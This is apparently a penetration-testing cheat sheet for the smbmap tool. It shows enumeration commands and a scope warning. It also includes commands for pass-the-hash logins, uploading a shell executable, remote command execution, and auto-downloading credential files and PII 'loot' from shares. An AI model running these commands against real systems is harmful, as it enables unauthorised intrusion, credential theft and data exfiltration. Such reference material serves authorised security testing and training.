| Field | Detail |
|---|---|
| Summary | List SMB shares and your access level per share |
| Category | SMB share enumeration |
| Phase | enumeration, post-exploitation |
| Interface | CLI |
| Platform | Linux |
| Licence | Open source (GPL) |
| Docs | https://github.com/ShawnDEvans/smbmap |
| Related | SMB and Active Directory enumeration, smbclient, enum4linux, NetExec (CrackMapExec), Impacket |
Enumerates SMB shares across a host (or a whole subnet) and — crucially — shows your access level per share (NO ACCESS / READ ONLY / READ, WRITE). It also lists share contents recursively, downloads/uploads files, and (with privileges) runs commands. The quickest way to answer "what can these creds actually touch?"
⚠️ Warning — Scope Share crawling and especially command execution are active and logged. In-scope hosts only; command exec needs admin rights on the target.
Enumerate shares & access
smbmap -H 10.10.10.5 # default creds-less attempt
smbmap -H 10.10.10.5 -u guest -p '' # guest / null session
smbmap -H 10.10.10.5 -u test -p 'test123' # authenticated
smbmap -H 10.10.10.5 -u test -p 'test123' -d CORP # specify domain
smbmap -H 10.10.10.5 -u admin -p :<NTLMhash> # pass-the-hash
smbmap --host-file hosts.txt -u test -p 'test123' # sweep many hosts
The access column is the point: hunt for READ, WRITE on anything interesting, and READ on shares like SYSVOL, NETLOGON, backups or home directories.
Browse share contents
smbmap -H 10.10.10.5 -u test -p 'test123' -r 'Share' # list a share (top level)
smbmap -H 10.10.10.5 -u test -p 'test123' -R 'Share' # recurse the whole share
smbmap -H 10.10.10.5 -u test -p 'test123' -R 'Share' --depth 5
smbmap -H 10.10.10.5 -u test -p 'test123' -R -A '.*\.(txt|xml|ini|config|kdbx)$' # auto-download matches
Download, upload, execute
smbmap -H 10.10.10.5 -u test -p 'test123' --download 'Share\path\flag.txt'
smbmap -H 10.10.10.5 -u test -p 'test123' --upload /local/shell.exe 'Share\shell.exe'
smbmap -H 10.10.10.5 -u admin -p 'Pass123' -x 'ipconfig' # command exec (needs admin)
Useful flags
| Flag | Purpose |
|---|---|
-H / --host-file |
Single host / file of hosts |
-u -p -d |
User / password (or :hash) / domain |
-r / -R [share] |
List / recursively list (optionally one share) |
--depth N |
Limit recursion depth |
-A <regex> |
Auto-download files whose path matches |
--download / --upload |
Pull / push a file |
-x <cmd> |
Execute a command (admin) |
-s <share> |
Target a specific share |
-P <port> |
Non-default port |
-g |
Grep-friendly output |
--no-banner |
Quieter output |
Worked example
smbmap -H 10.10.10.5 -u test -p 'test123' -R 'Finance' -A '.*\.xlsx$'
Authenticate as test, recurse the Finance share, and auto-download every .xlsx found — a fast way to loot a readable share for spreadsheets of credentials/PII without browsing by hand.
Kill-chain usage
Enumeration
smbmap -H 10.10.10.5 -u u -p p # shares + access level
Post-exploitation
smbmap -H 10.10.10.5 -u u -p p -R Share -A '.*[.]txt' # auto-loot files
Where it fits
After enum4linux / NetExec (CrackMapExec) reveal shares and valid creds, smbmap tells you exactly which shares those creds can read or write, then loots them. For interactive browsing or tricky uploads use smbclient; for command execution at scale prefer Impacket / NetExec (CrackMapExec). Part of the SMB and Active Directory enumeration workflow.